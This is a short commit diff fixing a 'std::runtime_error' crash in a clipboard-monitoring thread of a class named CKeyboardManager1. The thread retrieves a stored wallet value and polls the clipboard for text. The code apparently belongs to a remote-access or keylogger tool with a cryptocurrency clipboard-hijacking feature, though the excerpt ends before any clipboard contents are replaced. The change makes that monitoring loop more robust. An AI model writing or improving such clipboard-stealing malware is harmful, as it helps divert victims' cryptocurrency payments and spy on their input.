fix: "std::runtime_error" causing crashes in some cases

This commit is contained in:
yuanyuanxiang
2025-12-04 23:24:13 +01:00
parent 857bdd34bb
commit 47e547238c

View File

@@ -485,7 +485,19 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (!w.empty() && clip::has(clip::text_format())) {
if (w.empty()){
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
}
catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
if (hasClipboard) {
std::string value;
clip::get_text(value);
if (value.length() > 200) {